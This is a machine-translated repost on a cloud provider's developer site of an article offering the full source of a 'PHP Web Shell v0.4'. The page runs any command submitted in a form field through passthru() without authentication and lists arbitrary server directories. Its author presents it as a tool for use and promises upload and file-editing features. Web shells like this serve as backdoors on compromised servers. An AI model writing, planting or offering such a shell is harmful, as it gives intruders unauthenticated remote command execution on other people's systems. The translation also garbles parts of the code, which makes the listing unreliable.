Home > Developer > PHP

PHP Shell writing (improved version)

Source: Internet
Author: User
Tags empty version variable win32 domain name
Developer on Alibaba Coud: Build your first app with APIs, SDKs, and tutorials on the Alibaba Cloud. Read more ＞
Previously wrote a PHP CMD Shell without any technical content, always feel that the function is very weak, and some problems did not deal with, such as browsing directories, and then in-depth study of PHP, found a lot of interesting letters, and then a simple writing a new PHP Shell, I hope you like!

Program Introduction:

Program: PHP Web Shell
Version: v0.4
Function:
1. Can support the current mainstream operating system: WIN32/*NIX/*BSD
2. Execute system Commands/procedures
3. Browse the table of contents


Future Features:
1. Support Online upload/download file function
2. Support Online New/delete/Add/modify File function

Program code:

<title>php Web Shell v0.4</title>
<!--definition file style-->
<style>
<!--
. Input{border-right: #888888 1px solid; Border-top: #888888 1px solid; BACKGROUND: #ffffff; Border-left: #888888 1px solid; Border-bottom: #888888 1px solid; font-family: "Verdana", "Arial" Font-color: #ffffff; font-size:9pt;}
. font{font-size:9pt;}
. fonts{font-size:15pt;}
table{font-size:9pt; COLOR: #006666}
A {font-size:9pt; COLOR: #6666cc; Text-decoration:none}
a:hover {font-size:9pt; COLOR: #ff3333; Text-decoration:none}
Body
{scrollbar-face-color: #ffffff;
Scrollbar-highlight-color: #6c6c90;
Scrollbar-shadow-color: #fcfcfc;
Scrollbar-3dlight-color: #fcfcfc;
Scrollbar-arrow-color: #240024;
Scrollbar-track-color: #fcfcfc;
Scrollbar-darkshadow-color: #48486c;
Scrollbar-base-color: #fcfcfc
}
-->
</STYLE>

<body bgcolor= "#eeeeee" text= "#000000" >
<center><font size=3 color=red class=fonts><b>php Web shell</b></font> v0.4
<font size=2 color= "000000" class=font> applicable system:win32/linux/unix/bsd</font>


<form method=post action= ". echo $PHP _self?> ">/Get the script itself
<font class=font> input Command </font><input type= "text" name= "cmd" size=20 class=input>
<input type= "Submit" value= "Execute" class=input>

<font class=font> Enter directory  </font><input type= "text"  name= "dir"  size=20  class=input>
<input type= "Submit"   Value = "Browse" &NBSP;CLASS=INPUT>
</form
</center>
<pre>
<font size=2 color= "000000" &NBSP;CLASS=FONT>
< ? PHP
echo  server address:  <a href=\ "http://$_server[server_name]\" >$_server[server_name]</a
;  //Displays the server domain name or IP address
echo  "This file path:  $_server[path_translated]";   //shows the path where the file is located
?


<?php
if (!empty ($cmd)) {
Echo executes the results of the <font color=red> $cmd </font> command:
"; Prompt after execution of command
}
if (!empty ($dir)) {
echo Browse directory <font color=red> $dir </font> results:
"; Tips for viewing catalogs
}
?>
<HR size=1>
<?php
if (Empty ($cmd) && empty ($dir)) {//To determine if there is no input command, error prompts if not present
echo "Please enter the command you want to perform or the directory you want to browse!"
(Make sure the system has the appropriate command or directory and the appropriate permissions for the operation)
";
}
@passthru ($cmd); The PassThru () function is used to execute the acquired command (variable), and similar functions in PHP include system (), Popen (), Exec (), etc.
$f = @opendir ($dir); Use the Opendir () function to get the directory information assignment to the variable
while ($file = @readdir ($f)) {//Use the Readdir () function to iterate through the directory information
echo "$file \ n"; The branch display gets the catalog information
}
?>
</font>
</pre>

</body>



This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

Related Keywords:
writing php extensions php lock file for writing php open file for writing php interactive shell php reverse shell php shell exec php execute shell command

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

What's Trending
Top 10 Tags
datastax versions naming convention zookeeper client class definition md5 microsoft sql server 2005 data structures exception handling error handling
Top 10 Keywords
microsoft download center down wordpress address url site address url wordpress address url windows installer 4 0 download 302 not found web address url definition site address url wordpress db2 integer mac os installation step by step pdf abbreviation for return

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

  • Sales Support

    1 on 1 presale consultation

    Chat Contact Sales

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

    Open a Ticket

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

    Learn More